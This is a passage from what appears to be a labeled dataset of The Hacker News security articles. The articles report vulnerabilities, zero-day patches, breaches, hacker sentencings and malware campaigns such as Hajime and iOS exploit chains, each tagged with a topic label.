The Samba development team has fixed the flaw in the new Samba version, Samba 4.1.17, which is available to download. The credit for discovering and reporting the flaw in Samba goes to the Microsoft Vulnerability Researcher, Richard van Eeden, who also provided the patch.

Meanwhile, other major Linux distributions, including Ubuntu, Debian and Suse, have also released updated packages in their repositories, with others to follow soon.

",Vulnerability
Microsoft Patches Two Zero-Day Flaws Under Active Attack,https://thehackernews.com/2018/05/microsoft-patch-tuesday.html,"It's time to gear up for the latest May 2018 Patch Tuesday.

Microsoft has today released security patches for a total of 67 vulnerabilities, including two zero-days that have actively been exploited in the wild by cybercriminals, and two publicly disclosed bugs.

In brief, Microsoft is addressing 21 vulnerabilities that are rated as critical, 42 rated important, and 4 rated as low severity.

These patch updates address security flaws in Microsoft Windows, Internet Explorer, Microsoft Edge, Microsoft Office, Microsoft Office Exchange Server, Outlook, .NET Framework, Microsoft Hyper-V, ChakraCore, Azure IoT SDK, and more.

1) Double Kill IE 0-day Vulnerability

The first zero-day vulnerability (CVE-2018-8174) under active attack is a critical remote code execution vulnerability that was revealed by Chinese security firm Qihoo 360 last month and affected all supported versions of Windows operating systems.

Dubbed ""Double Kill"" by the researchers, the vulnerability is notable and requires prompt attention as it could allow an attacker to remotely take control over an affected system by executing malicious code remotely through several ways, such as a compromised website, or malicious Office documents.

The Double Kill vulnerability is a use-after-free issue which resides in the way the VBScript Engine (included in all currently supported versions of Windows) handles objects in computer memory, allowing attackers to execute code that runs with the same system privileges as of the logged-in user.
""In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website. An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine,"" Microsoft explains in its advisory.
""The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.""
Users with administrative rights on their systems are impacted more than the ones with limited rights, as an attacker successfully exploiting the vulnerability could take control of an affected system.

However, that doesn't mean that low-privileged users are spared. If users are logged in on an affected system with more limited rights, attackers may still be able to escalate their privileges by exploiting a separate vulnerability.

Researchers from Qihoo 360 and Kaspersky Labs found that the vulnerability was actively being exploited in the wild by an advanced state-sponsored hacking group in targeted attacks, but neither Microsoft nor Qihoo 360 and Kaspersky provided any information on the threat group.

2) Win32k Elevation of Privilege Vulnerability

The second zero-day vulnerability (CVE-2018-8120) patched this month is a privilege-escalation flaw that occurred in the Win32k component of Windows when it fails to properly handle objects in computer memory.

Successful exploitation of the flaw can allow attackers to execute arbitrary code in kernel mode, eventually allowing them to install programs or malware; view, edit or delete data; or create new accounts with full user rights.

The vulnerability is rated ""important,"" and only affects Windows 7, Windows Server 2008 and Windows Server 2008 R2. The issue has actively been exploited by threat actors, but Microsoft did not provide any detail about the in-the-wild exploits.

Two Publicly Disclosed Flaws

Microsoft also addressed two ""important"" Windows vulnerabilities whose details have already been made public.

One of these is a Windows kernel flaw (CVE-2018-8141) that could lead to information disclosure, and the other is a Windows Image bug (CVE-2018-8170) that could lead to Elevation of Privilege.

In addition, the May 2018 updates resolve 20 more critical issues, including memory corruptions in the Edge and Internet Explorer (IE) scripting engines and remote code execution (RCE) vulnerabilities in Hyper-V and Hyper-V SMB.

Meanwhile, Adobe has also released its Patch Tuesday updates, addressing five security vulnerabilities—one critical bug in Flash Player, one critical and two important flaws in Creative Cloud and one important bug in Connect.

Users are strongly advised to install security updates as soon as possible in order to protect themselves against the active attacks in the wild.

For installing security updates, head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.

",Cyber_Attack
"Hacker Who Hacked US Spy Chief, FBI & CIA Director Gets 5-Year in Prison",https://thehackernews.com/2017/09/crackas-with-attitude-hackers.html,"Remember ""Crackas With Attitude""?

The hacking group behind a series of embarrassing hacks that targeted personal email accounts of senior officials at the FBI, the CIA, and the White House, among other United States federal agencies in 2015.

A member of Crackas With Attitude, who was arrested last year in September, has now been sentenced to five years in federal prison.

Justin Liverman, a 25-year-old man from Morehead City, who was known under the online alias ""D3F4ULT,"" was arrested last year along with another member of the group—Andrew Otto Boggs, 23, of North Wilkesboro, who allegedly used the handle ""INCURSIO.""

The duo hacked into multiple government organizations between October 2015 and February 2016. Boggs was sentenced to two years in prison on June 30, 2017, for his role.

Liverman pleaded guilty on January 6 this year to conspiracy to hack U.S. government computers and accounts and was sentenced to 5 years in prison on Friday. He will also be forced to pay $145,000 in restitution.

According to the plea agreement, ""beginning in November 2015, Liverman conspired to attempt to intimidate and harass U.S. officials and their families by gaining unauthorized access to victims' online accounts, among other things.""
""Liverman publicly posted online documents and personal information unlawfully obtained from a victim's personal account; sent threatening text messages to the same victim's cellphone; and paid an unlawful 'phonebombing' service to call the victim repeatedly with a threatening message,"" U.S. prosecutors in the Eastern District Court of Virginia said.

Crackas With Attitude targeted more than ten U.S. government officials including the following and caused more than $1.5 million in losses to victims:

Hacked into the AOL email of former CIA director John Brennan and released personal details.
Hacked into the personal emails and phone accounts of the former US spy chief James Clapper.
Broke into the AOL email of the Ex FBI Deputy Director Mark Giuliano.

The hacking group also leaked the personal details of 31,000 government agents belonging to almost 20,000 FBI agents, 9,000 Department of Homeland Security officers, and some number of DoJ staffers.

According to the federal officials, the hacking group used social engineering to trick victims into revealing their account numbers, passwords, and other sensitive details, using which they gained access to their accounts.

However, a 17-year-old British teenager, who is known as CRACKA and the leader of the ""Crackas With Attitude"" hacking group, is actually responsible for carrying out the above attacks. His prosecution is still ongoing in the United Kingdom.

",Cyber_Attack
Google App Engine — More than 30 Vulnerabilities Discovered,https://thehackernews.com/2014/12/google-app-engine-hosting-security.html,"Security researchers have discovered a number of critical vulnerabilities in the Java environment of the Google App Engine (GAE) that enables attackers to bypass critical security sandbox defenses.

Google App Engine is Google's PaaS (Platform as a Service) Cloud computing Platform for developing and hosting web applications in Google-managed data centers. GAE offers to run custom-built programs using a wide variety of popular languages and frameworks, out of which many are built on the Java environment.

The vulnerabilities was reported by Security Explorations, the same security research company that carried out multiple researches related to Java in past. The discovery was announced on the Full Disclosure security mailing list by Adam Gowdiak, founder and CEO of Security Explorations.

According to the security firm, the flaws can be exploited by attackers to achieve a complete Java VM security sandbox escape, as well as to execute an arbitrary code. The researchers estimate that the number of issues is ""30+ in total.""

By exploiting the vulnerabilities, security researchers were able to bypass Google App Engine whitelisting of JRE Classes and gain access to full JRE (Java Runtime Environment). They discovered 22 full Java VM security sandbox escape issues and were able to exploit 17 of them successfully.

Moreover, the researchers were able to execute native code, specifically to issue arbitrary library/system calls and to gain access to the files (binary/classes) comprising the JRE sandbox. They even siphoned off DWARF information from binary files, PROTOBUF definitions from Java classes and PROTOBUF definition from binary files among others.

However, the researchers have been unable to finish their research because Google suspended their test Google App Engine account.
""Unfortunately, we cannot complete our work due to the suspension of the ""test"" GAE account that took place today,"" Gowdiak wrote. ""Without any doubt this is an opsec failure on our end (this week we did poke a little bit more aggressively around the underlying OS sandbox / issued various system calls in order to learn more about the nature of the error code 202, the sandbox itself, etc.).""
As Google has generally been supportive and helpful to the security research community, Researchers at the security firm believes that Google will allow them to complete their research and re-enable their Google App Engine account.

",Vulnerability
"To Protect Your Devices, A Hacker Wants to Hack You Before Someone Else Does",https://thehackernews.com/2017/04/vigilante-hacker-iot-botnet.html,"It should be noted that hacking a system for unauthorised access that does not belong to you is an illegal practice, no matter what's the actual intention behind it.

Now I am pointing out this because reportedly someone, who has been labeled as a 'vigilante hacker' by media, is hacking into vulnerable 'Internet of Things' devices in order to supposedly secure them.

This is not the first time when any hacker has shown vigilance, as we have seen lots of previous incidents in which hackers have used malware to compromise thousands of devices, but instead of hacking them, they forced owners to make them secure.

Dubbed Hajime, the latest IoT botnet malware, used by the hacker, has already infected at least 10,000 home routers, Internet-connected cameras, and other smart devices.

But reportedly, it's an attempt to wrestle their control from Mirai and other malicious threats.

Mirai is an IoT botnet that threatened the Internet last year with record-setting distributed denial-of-service attacks against the popular DNS provider Dyn last October. The botnet designed to scan for IoT devices that are still using default passwords.

How the Hajime IoT Botnet Works

Hajime botnet works much like Mirai — it spreads via unsecured IoT devices that have open Telnet ports and uses default passwords — and also uses the same list of username and password combinations that Mirai botnet is programmed to use, with the addition of two more.

However, what's interesting about Hajime botnet is that, unlike Mirai, it secures the target devices by blocking access to four ports (23, 7547, 5555, and 5358) known to be vectors used to attack many IoT devices, making Mirai or other threats out of their bay.

Unlike Mirai, Hajime uses a decentralized peer-to-peer network (instead of command and control server) to issue commands and updates to infected devices, which makes it more difficult for ISPs and Internet backbone providers to take down the botnet.

Hajime botnet also takes steps to hide its running processes and files on the file system, making the detection of infected systems more difficult.

Besides this, Hajime botnet also lacks DDoS capabilities or any other hacking code except for the propagation code that lets one infected device search for other vulnerable devices and infects them.

One of the most interesting things about Hajime: the botnet displays a cryptographically signed message every 10 minutes or so on terminals. The message reads:

Just a white hat, securing some systems.

Important messages will be signed like this!

Hajime Author.

Contact CLOSED Stay sharp!
There's Nothing to Get Excited

No doubt, there's a temptation to applaud Hajime, but until users don't reboot their hacked devices.

Since Hajime has no persistence mechanism, which gets loaded into the devices' RAM, once the IoT device is rebooted, it goes back to its unsecured state, complete with default passwords and the Telnet port open to the world.
""One day a device may belong to the Mirai botnet, after the next reboot it could belong to Hajime, then the next any of the many other IoT malware/worms that are out there scanning for devices with hard coded passwords. This cycle will continue with each reboot until the device is updated with a newer, more secure firmware,"" the Symantec researchers explained.

There's another problem...

Hacking someone to prevent hacking is not a thing, that's why we are also concerned about a related amendment passed by the United States — Rule 41 — which grants the FBI much greater powers to legally break into computers belonging to any country, take data, and engage in remote surveillance.

So, the most concerning issue of all — Is there any guarantee that the author of Hajime will not add attack capabilities to the worm to use the hijacked devices for malicious purposes?

",Cyber_Attack
IT Firm Manager Arrested in the Biggest Data Breach Case of Ecuador's History,https://thehackernews.com/2019/09/ecuador-data-breach.html,"Ecuador officials have arrested the general manager of IT consulting firm Novaestrat after the personal details of almost the entire population of the Republic of Ecuador left exposed online in what seems to be the most significant data breach in the country's history.

Personal records of more than 20 million adults and children, both dead and alive, were found publicly exposed on an unsecured Elasticsearch server by security firm vpnMentor, which made the discovery during its large-scale mapping project.

For a country with a population of over 16 million people, the breach exposed details of almost every Ecuadorian citizen, including President Lenín Moreno as well as WikiLeaks CEO Julian Assange, who was given political asylum in the country in 2012.

The unsecured Elasticsearch server, which was based in Miami and owned by Ecuadorian company Novaestrat, contained 18GB cache of data appeared to have come from a variety of sources including government registries, an automotive association called Aeade, and an Ecuadorian national bank called Biess.

Data Breach Exposes Personal Data of Almost Entire Ecuador Population

The cache reportedly contained everything from full names, gender, dates and places of birth, phone numbers and addresses, to marital statuses, national identification numbers (similar to social security numbers), employment information, and details of education.

The cache also contained specific financial information related information to accounts held with the Ecuadorian national bank Biess, including person's bank account statuses, current balances and credit type, along with detailed information about individuals' family members.
vpnMentor notified the Ecuadorian Computer Incident Response Center (EcuCERT) of the breach, who then immediately informed Novaestrat, the online data consulting firm in the city of Esmeraldas who owned the unsecured server, which was later taken offline on September 11.

Authorities Investigating Company Allegedly Responsible for the Leak

As part of the investigation, Ecuadorian officials also said in a statement on Tuesday that they had arrested the manager of Novaestrat identified as William Roberto G and seized electronic equipment, computers, storage devices, and documentation during a raid at his home.

Roberto has been taken to the Ecuadorian capital, Quito, by the authorities for questioning and may face criminal charges.

Also, given the privacy concerns surrounding the incident, the country's Minister of Telecommunications said legal actions would be taken against the affected institutions to sanction private companies responsible for violating privacy and publicizing personal information without authorization.

The Minister of Telecommunications also said it is planning to pass a new data privacy law in the country, which they have been working for the past eight months, to protect the personal data of its citizens.

This is not the first time when the country has suffered a significant data security breach.

In 2016, hackers managed to steal $12 million from an Ecuadorian bank, Banco del Austro (BDA), by breaching its Swift payment system.

However, the latest Ecuador's breach recalled Bulgaria history's biggest data breach that took place on July 2019 and exposed personal and financial information of 5 million adult Bulgarian citizens out of its total population of 7 million people—that's over 70% of the country's population.
",Data_Breaches
Critical SaltStack RCE Bug (CVSS Score 10) Affects Thousands of Data Centers,https://thehackernews.com/2020/05/saltstack-rce-vulnerability.html,"Two severe security flaws have been discovered in the open-source SaltStack Salt configuration framework that could allow an adversary to execute arbitrary code on remote servers deployed in data centers and cloud environments.

The vulnerabilities were identified by F-Secure researchers earlier this March and disclosed on Thursday, a day after SaltStack released a patch (version 3000.2) addressing the issues, rated with CVSS score 10.

""The vulnerabilities, allocated CVE IDs CVE-2020-11651 and CVE-2020-11652, are of two different classes,"" the cybersecurity firm said.

""One being authentication bypass where functionality was unintentionally exposed to unauthenticated network clients, the other being directory traversal where untrusted input (i.e., parameters in network requests) was not sanitized correctly allowing unconstrained access to the entire filesystem of the master server.""

The researchers warned that the flaws could be exploited in the wild imminently. SaltStack is also urging users to follow the best practices to secure the Salt environment.

Vulnerabilities in ZeroMQ Protocol

Salt is a powerful Python-based automation and remote execution engine that's designed to allow users to issue commands to multiple machines directly.

Built as a utility to monitor and update the state of servers, Salt employs a master-slave architecture that automates the process of pushing out configuration and software updates from a central repository using a ""master"" node that deploys the changes to a target group of ""minions"" (e.g., servers) en masse.

The communication between a master and minion occurs over the ZeroMQ message bus. Additionally, the master uses two ZeroMQ channels, a ""request server"" to which minions report the execution results and a ""publish server,"" where the master publishes messages that the minions can connect and subscribe to.

According to F-Secure researchers, the pair of flaws reside within the tool's ZeroMQ protocol.

""The vulnerabilities described in this advisory allow an attacker who can connect to the 'request server' port to bypass all authentication and authorization controls and publish arbitrary control messages, read and write files anywhere on the 'master' server filesystem and steal the secret key used to authenticate to the master as root,"" the researchers said.

""The impact is full remote command execution as root on both the master and all minions that connect to it.""

In other words, an attacker can exploit the flaws to call administrative commands on the master server as well as queue messages directly on the master publish server, thereby allowing the salt minions to run malicious commands.

What's more, a directory traversal vulnerability identified in the wheel module — which has functions to read and write files to specific locations — can permit reading of files outside of the intended directory due to a failure to properly sanitize file paths.

Detecting Vulnerable Salt Masters

F-Secure researchers said an initial scan revealed more than 6,000 vulnerable Salt instances exposed to the public internet.

Detecting possible attacks against susceptible masters, therefore, entails auditing published messages to minions for any malicious content. ""Exploitation of the authentication vulnerabilities will result in the ASCII strings ""_prep_auth_info"" or ""_send_pub"" appearing in data sent to the request server port (default 4506),"" it added.

It's highly recommended that Salt users update the software packages to the latest version.

""Adding network security controls that restrict access to the salt master (ports 4505 and 4506 being the defaults) to known minions, or at least block the wider Internet, would also be prudent as the authentication and authorization controls provided by Salt are not currently robust enough to be exposed to hostile networks,"" the researchers said.

",Vulnerability
"vBulletin Forum hacked with Zero Day vulnerability, caused Macrumors Forum Data breach",https://thehackernews.com/2013/11/vBulletin-hacked-Zero-Day-vulnerability.html,"Last Tuesday, Popular Mac news website MacRumors's user forums was hacked and forum database has been compromised including the username, email and passwords belonging to all 860,000 registered users.

Yesterday, Inj3ct0r Team of Exploit Database website 1337Day claimed the responsibility for the hack and also claimed that they have also hacked the official website of vBulletin Forum using a Zero Day exploit.

""Macrumors.com was based on vBulletin CMS. We use our 0day exploit vBulletin, got password moderator. 860000 user data hacked too. The network security is a myth"" he told me.
During the conversation, team leader told me that he has discovered a Zero Day Remote Code Execution vulnerability in vBulletin v4.x.x and 5.х.x, that allows an attacker to execute arbitrary code on the server end remotely.

On their exploit marketplace they are also selling this zero day exploit with Shell Upload payload at $7000 USD. ""We found a critical vulnerability in all vBulletin versions 4.x.x and 5.х.x. We have successfully uploaded our shell on the official vbulletin server and dumped their database after getting root access. All those wishing to buy this vulnerability and patch their forums can get the exploit from our site."" he added.

For proof of concept, they have shared some screenshots of vBulletin database and server shell, as shown below:




The official vBulletin team also admitted the breach and issued a warning note via e-mail and company forum post, urged customers to change their passwords as soon as possible.
""Very recently, our security team discovered sophisticated attacks on our network, involving the illegal access of forum user information, possibly including your password.""
However, if somehow credentials are compromised of such forums or sites, many people use the same passwords for their other accounts, which provides the attacker with a much easier way to compromising the highest value targets. So always, please use different passwords for different websites.

Update : World biggest Hacking Conference DEF CON forum also goes down because of the vBulletin zero day exploit in the wild.
""We have disabled the forums until there is resolution on a possible vulnerability. Once we have a fix/patch installed, we'll re-open service. Thanks! Sorry about the down-time.""

",Vulnerability
Ransomware Virus Shuts Down Electric and Water Utility,https://thehackernews.com/2016/04/power-ransomware-attack.html,"Ransomware has become an albatross around the neck, targeting businesses, hospitals, and personal computers worldwide and extorting Millions of Dollars.

Typical Ransomware targets victim's computer encrypts files on it, and then demands a ransom -- typically about $500 in Bitcoin -- in exchange for a key that will decrypt the files.

Guess what could be the next target of ransomware malware?

Everything that is connected to the Internet.

There is a huge range of potential targets, from the pacemaker to cars to Internet of the Things, that may provide an opportunity for cybercriminals to launch ransomware attacks.

Recently, the American public utility Lansing Board of Water & Light (BWL) has announced that the company has become a victim of Ransomware attack that knocked the utility's internal computer systems offline.

Also Read: FBI Suggests Ransomware Victims — 'Just Pay the Ransom'.

The attack took place earlier this week when one of the company's employees opened a malicious email attachment.

Once clicked, the malware installed on the computer and quickly began encrypting the organization's files, according to the Lansing State Journal.

BWL quickly decided to shut down its networks and suspend some services, including accounting and email service for its about 250 employees, in order to prevent further damages. Power and water shut-offs by BWL was also suspended.

Though the ransomware type is still unknown, the utility is currently working with the Federal Bureau of Investigation (FBI) and local law enforcement authorities to investigate the incident.

The company assured its 96,000 customers that no personal information related to its customers or employees has been compromised by the ransomware intrusion into the corporate computer network.

However, it is not yet clear whether the utility paid the Ransom in exchange of its data. The company said law enforcement has limited it from discussing the issue in public, at least for now.

",Cyber_Attack
"Paunch, the author of Blackhole Exploit kit arrested in Russia",https://thehackernews.com/2013/10/paunch-author-of-blackhole-exploit-kit.html,"According to a Security Analyst 'Maarten Boone' working at Fox-IT company, the Developer of notorious Blackhole Exploit Kit developer 'Paunch' and his partners were arrested in Russia recently.

Blackhole Exploit Kit which is responsible for the majority of web attacks today, is a crimeware that makes it simple for just about anyone to build a botnet.
This Malware kit was developed by a hacker who uses the nickname ""Paunch"" and his Team, has gained wide adoption and is currently one of the most common exploit frameworks used for Web-based malware delivery.

The Blackhole exploit kit is a framework for delivering exploits via compromised or third-party websites, serve up a range of old and new exploits for Oracle's Java, Adobe's Flash and other popular software to take control of victim's machines.
It the point of writing No Police Authority or Press has confirmed the claim made by Maarten about the arrest of Malware author. Please Stay tuned to THN for updates about the Story.

In April, 2013 - Russian hackers and developers behind the Carberp botnet, that stole millions from bank accounts worldwide were also arrested.

",Malware
18-Year-Old Hacker Gets 3 Years in Prison for Massive Twitter 'Bitcoin Scam' Hack,https://thehackernews.com/2021/03/18-year-old-hacker-gets-3-years-in.html,"A Florida teen accused of masterminding the hacks of several high-profile Twitter accounts last summer as part of a widespread cryptocurrency scam pled guilty to fraud charges in exchange for a three-year prison sentence.
Graham Ivan Clark, 18, will also serve an additional three years on probation.
The development comes after the U.S. Department of Justice (DoJ) charged Mason Sheppard (aka Chaewon), Nima Fazeli (aka Rolex), and Clark (then a juvenile) with conspiracy to commit wire fraud and money laundering.
Specifically, 30 felony charges were filed against Clark, including one count of organized fraud, 17 counts of communications fraud, one count of fraudulent use of personal information with over $100,000 or 30 or more victims, 10 counts of fraudulent use of personal information, and one count of access to computer or electronic device without authority.
On July 15, 2020, Twitter suffered one of the biggest security lapses in its history after the attackers managed to hijack nearly 130 high-profile Twitter accounts pertaining to politicians, celebrities, and musicians, including that of Barack Obama, Kanye West, Joe Biden, Bill Gates, Elon Musk, Jeff Bezos, Warren Buffett, Uber, and Apple.
The broadly targeted hack posted similarly worded messages urging millions of followers of each profile to send money to a specific bitcoin wallet address in return for larger payback. The scheme netted about $117,000 in bitcoin before it was shut down.
Subsequent investigation into the incident revealed that Clark and the other attackers seized the accounts after stealing Twitter employees' credentials through a successful phone spear-phishing attack, subsequently using them to gain access to the company's internal network and account support tools, change user account settings, and take over control.
""By obtaining employee credentials, they were able to target specific employees who had access to our account support tools. They then targeted 130 Twitter accounts - Tweeting from 45, accessing the DM inbox of 36, and downloading the Twitter Data of 7,"" the company said on July 31.
Additionally, the three individuals attempted to monetize this entrenched access by selling the hijacked accounts on OGUsers, a forum notorious for peddling access to social media and other online accounts.
In light of the hacks, Twitter said it's making security improvements aimed at detecting and preventing inappropriate access to its internal systems, which were used by more than 1,000 employees and contractors as of early 2020.
""He took over the accounts of famous people, but the money he stole came from regular, hard-working people,"" Hillsborough State Attorney Andrew Warren said in a statement. ""Graham Clark needs to be held accountable for that crime, and other potential scammers out there need to see the consequences.""
""In this case, we've been able to deliver those consequences while recognizing that our goal with any child, whenever possible, is to have them learn their lesson without destroying their future.""

",Cyber_Attack
Windows Error Crash Reports or Treasure of Zero-Day vulnerabilities for NSA?,https://thehackernews.com/2014/01/windows-error-crash-reports-or-treasure.html,"I am sure that you all have been familiar with the above shown annoying Window Operating System error messages that many times pop ups on your screen while working on the system in case of process failure i.e. ""The system has recovered from a serious error. A log of this error has been created. Please tell Microsoft about this problem""

The message that prompts ask the user to report the problem to Microsoft followed by the options to Send an error report or Not send. Most of the time Gentle users like you and me used to submit these error reports to aware the Microsoft about the problem. But What if these crash reports can be abused to identify the vulnerabilities of your system for Spying?
NSA is intercepting wide range of Internet Traffic including many Encrypted connections and naturally unencrypted also and surprisingly, by default Microsoft encrypts its reports, but the messages are transmitted unencrypted or over standard HTTP connections to watson.microsoft.com.

The latest revelations from the Snowden document leaks revealed by the German publication Der Spiegel described how the NSA's secret hacking unit called Tailored Access Operations Unit, or TAO Unit, breaking into a windows computer by gaining passive access to machines.

Der Spiegel's explains:
The automated crash reports are a ""neat way"" to gain ""passive access"" to a machine, the presentation continues. Passive access means that, initially, the only data the computer sends out into the Internet is captured and saved, but the computer itself is not yet manipulated. Still, even this passive access to error messages provides valuable insights into problems with a targeted person's computer and, thus, information on security holes that might be exploitable for planting malware or spyware on the unwitting victim's computer.
Microsoft has Windows Error Reporting (a.k.a. Dr. Watson) technology from Windows XP to later versions. Windows crash reports give up all kinds of information about your system, allowing them to know what software is installed on your PC, respective versions and whether the programs or OS have been patched.

Websense Security Firm observed the Windows Error Reporting system and find that it sends out its crash logs in the clear text:

This information includes:
Date
USB Device Manufacturer
USB Device Identifier
USB Device Revision
Host computer - default language
Host computer - Operating system, service pack and update version
Host computer - Manufacturer, model and name
Host computer - Bios version and unique machine identifier
Why should we care about this? Because System or application Crashes signal about various possible Zero-day vulnerabilities that could be exploited and this is the exact information that the NSA or anyone else needs when tailoring a specific attack against your system, or when designing some kind of malware to infect it.

Der Spiegel also added:
When TAO selects a computer somewhere in the world as a target and enters its unique identifiers (an IP address, for example) into the corresponding database, intelligence agents are then automatically notified any time the operating system of that computer crashes and its user receives the prompt to report the problem to Microsoft. An internal presentation suggests it is NSA's powerful XKeyscore spying tool that is used to fish these crash reports out of the massive sea of Internet traffic.
A Microsoft spokesperson asked to comment on the reports said, ""Microsoft does not provide any government with direct or unfettered access to our customer's data. We would have significant concerns if the allegations about government actions are true.""

Websense also recommends that Error report data should be encrypted with SSL at a minimum, ideally using TLS 1.2 in order to prevent it from NSA snooping. Alexander Watson, director of security research, Websense, will be presenting advanced findings related to this research at the 2014 RSA Conference in San Francisco.

How To Disable Error Reporting:
If you want to disable Windows Error Reporting, open Control Panel and search for ""Problem reporting settings"". Open that option and Select ""Never check for solutions."" However Microsoft does not recommend users do so, but it's your choice, neither it harms your system.

",Vulnerability
Warning — Widely Popular ImageMagick Tool Vulnerable to Remote Code Execution,https://thehackernews.com/2016/05/imagemagick-exploit-hack.html,"A serious zero-day vulnerability has been discovered in ImageMagick, a widely popular software tool used by a large number of websites to process user's photos, which could allow hackers to execute malicious code remotely on servers.

ImageMagick is an open-source image processing library that lets users resize, scale, crop, watermarking and tweak images.

The ImageMagick tool is supported by many programming languages, including Perl, C++, PHP, Python, Ruby and is being deployed by Millions of websites, blogs, social media platforms, and popular content management systems (CMS) such as WordPress and Drupal.

Slack security engineer Ryan Huber disclosed a zero-day flaw (CVE-2016–3714) in the ImageMagick image processing library that allows a hacker to execute malicious code on a Web server by uploading maliciously-crafted image.

For example, by uploading a booby-trapped selfie to a web service that uses ImageMagick, an attacker can execute malicious code on the website's server and steal critical information, snoop on user's accounts and much more.

In other words, only those websites are vulnerable that make use of ImageMagick and allow their users to upload images.

The exploit for the vulnerability has been released and named: ImageTragick.
""The exploit for this vulnerability is being used in the wild,"" Huber wrote in a blog post published Tuesday. ""The exploit is trivial, so we expect it to be available within hours of this post.""
He added ""We have collectively determined that these vulnerabilities are available to individuals other than the person(s) who discovered them. An unknowable number of people having access to these vulnerabilities makes this a critical issue for everyone using this software.""
The ImageMagick team has also acknowledged the flaw, saying the recent ""vulnerability reports … include possible Remote Code Execution and ability to render files on the local system.""

Though the team has not rolled out any security patches, it recommended that website administrators should add several lines of code to configuration files in order to block attacks, at least via the possible exploits.

Web administrators are also recommended to check the 'magic bytes' in files sent to ImageMagick before allowing the image files to be processed on their end.

Magic bytes are the first few bytes of a file used to identify the image type, such as GIF, JPEG, PNG.

The vulnerability will be patched in versions 7.0.1-1 and 6.9.3-10 of ImageMagick, which are due to be released by the weekend.

",Vulnerability
XSS Vulnerability on Real Player Website by THEc7cREW,https://thehackernews.com/2011/05/xss-vulnerability-on-real-player.html,"XSS Vulnerability on Real Player Website by THEc7cREW
THEc7cREW Found XSS Vulnerability on Real Player Website , Click Here to See the POC.

",Vulnerability
Chrome Bug Allowed Hackers to Find Out Everything Facebook Knows About You,https://thehackernews.com/2018/08/google-chrome-vulnerability.html,"With the release of Chrome 68, Google prominently marks all non-HTTPS websites as 'Not Secure' on its browser to make the web a more secure place for Internet users.

If you haven't yet, there is another significant reason to immediately switch to the latest version of the Chrome web browser.

Ron Masas, a security researcher from Imperva, has discovered a vulnerability in web browsers that could allow attackers to find everything other web platforms, like Facebook and Google, knows about you—and all they need is just trick you into visiting a website.

The vulnerability, identified as CVE-2018-6177, takes advantage of a weakness in audio/video HTML tags and affects all web browsers powered by ""Blink Engine,"" including Google Chrome.

To illustrate the attack scenario, the researcher took an example of Facebook, a popular social media platform that collects in-depth profiling information on its users, including their age, gender, where you have been (location data) and interests, i.e., what you like and what you don't.

You must be aware of Facebook offering post targeting feature to page administrators, allowing them to define a targeted or restricted audience for specific posts based on their age, location, gender, and interest.

How the Browser Attack Works?
To demonstrate the vulnerability, the researcher created multiple Facebook posts with different combinations of the restricted audiences to categorize victims according to their age, location, interest or gender.

Now, if a website embeds all these Facebook posts on a web page, it will load and display only a few specific posts at the visitors' end based on individuals' profile data on Facebook that matches restricted audience settings.

For example, if a post—defined to be visible only to the Facebook users with age 26, male, having interest in hacking or Information Security—was loaded successfully, an attacker can potentially learn personal information on visitors, regardless of their privacy settings.

Though the idea sounds exciting and quite simple, there are no direct ways available for site administrators to determine whether an embedded post was loaded successfully for a specific visitor or not.
Thanks to Cross-Origin Resource Sharing (CORS)—a browser security mechanism that prevents a website from reading the content of other sites without their explicit permission.

However, Imperva researcher found that since audio and video HTML tags don't validate the content type of fetched resources or reject responses with invalid MIME types, an attacker can use multiple hidden video or audio tags on a website to request Facebook posts.

Though this method doesn't display Facebook posts as intended, it does allow the attacker-controlled website to measure (using JavaScript) the size of cross-origin resources and number of requests to find out which specific posts were successfully fetched from Facebook for an individual visitor.
""With several scripts running at once — each testing a different and unique restriction — the bad actor can relatively quickly mine a good amount of private data about the user,"" Masses said.
""I found that by engineering sites to return a different response size depending on the currently logged user properties it is possible to use this method to extract valuable information.""
A member from Google security team also pointed that the vulnerability could also work against websites using APIs to fetch user session specific information.

The core of this vulnerability has some similarities with another browser bug, patched in June this year, which exploited a weakness in how web browsers handle cross-origin requests to video and audio files, allowing attackers to read the content of your Gmail or private Facebook messages.

Imperva researcher reported the vulnerability to Google with a proof of concept exploit, and the Chrome team patched the issue in Chrome 68 release.

So, Chrome users are strongly recommended to update their browser to the latest version, if they haven't yet.
",Vulnerability
Google Uncovers How Just Visiting Some Sites Were Secretly Hacking iPhones For Years,https://thehackernews.com/2019/08/hacking-iphone-ios-exploits.html,"Beware Apple users!

Your iPhone can be hacked just by visiting an innocent-looking website, confirms a terrifying report Google researchers released earlier today.

The story goes back to a widespread iPhone hacking campaign that cybersecurity researchers from Google's Project Zero discovered earlier this year in the wild, involving at least five unique iPhone exploit chains capable of remotely jailbreaking an iPhone and implanting spyware on it.

Those iOS exploit chains were found exploiting a total of 14 separate vulnerabilities in Apple's iOS mobile operating system—of which 7 flaws resided in Safari web browser, 5 in the iOS kernel and 2 separate sandbox escape issues—targeting devices with almost every version in that time-frame from iOS 10 through to the latest version of iOS 12.

According to a deep-dive blog post published by Project Zero researcher Ian Beer, only two of the 14 security vulnerabilities were zero-days, CVE-2019-7287 and CVE-2019-7286, and unpatched at the time of discovery—and surprisingly, the campaign remained undetected for at least two years.


Though the technical details and background story of both then-zero-day vulnerabilities were not available at that time, The Hacker News warned about both the flaws in February after Apple released iOS version 12.1.4 to address them.

""We reported these issues to Apple with a 7-day deadline on 1 Feb 2019, which resulted in the out-of-band release of iOS 12.1.4 on 7 Feb 2019. We also shared the complete details with Apple, which were disclosed publicly on 7 Feb 2019,"" Beer says.

Now, as Google researcher explained, the attack was being carried out through a small collection of hacked websites with thousands of visitors per week, targeting every iOS user landing on those websites without discrimination.

""Simply visiting the hacked site was enough for the exploit server to attack your device, and if it was successful, install a monitoring implant,"" Beer says.

Once an iPhone user visited one of the hacked websites through the vulnerable Safari web browser, it triggered WebKit exploits for each exploit chain in an attempt to gain an initial foothold onto the user's iOS device and stage the privilege escalation exploits to further gain root access to the device, which is the highest level of access.

The iPhone exploits were used to deploy an implant primarily designed to steal files like iMessages, photos, and live GPS location data of users, and upload them to an external server every 60 seconds.

""There is no visual indicator on the device that the implant is running. There's no way for a user on iOS to view a process listing, so the implant binary makes no attempt to hide its execution from the system,"" Beers explains.

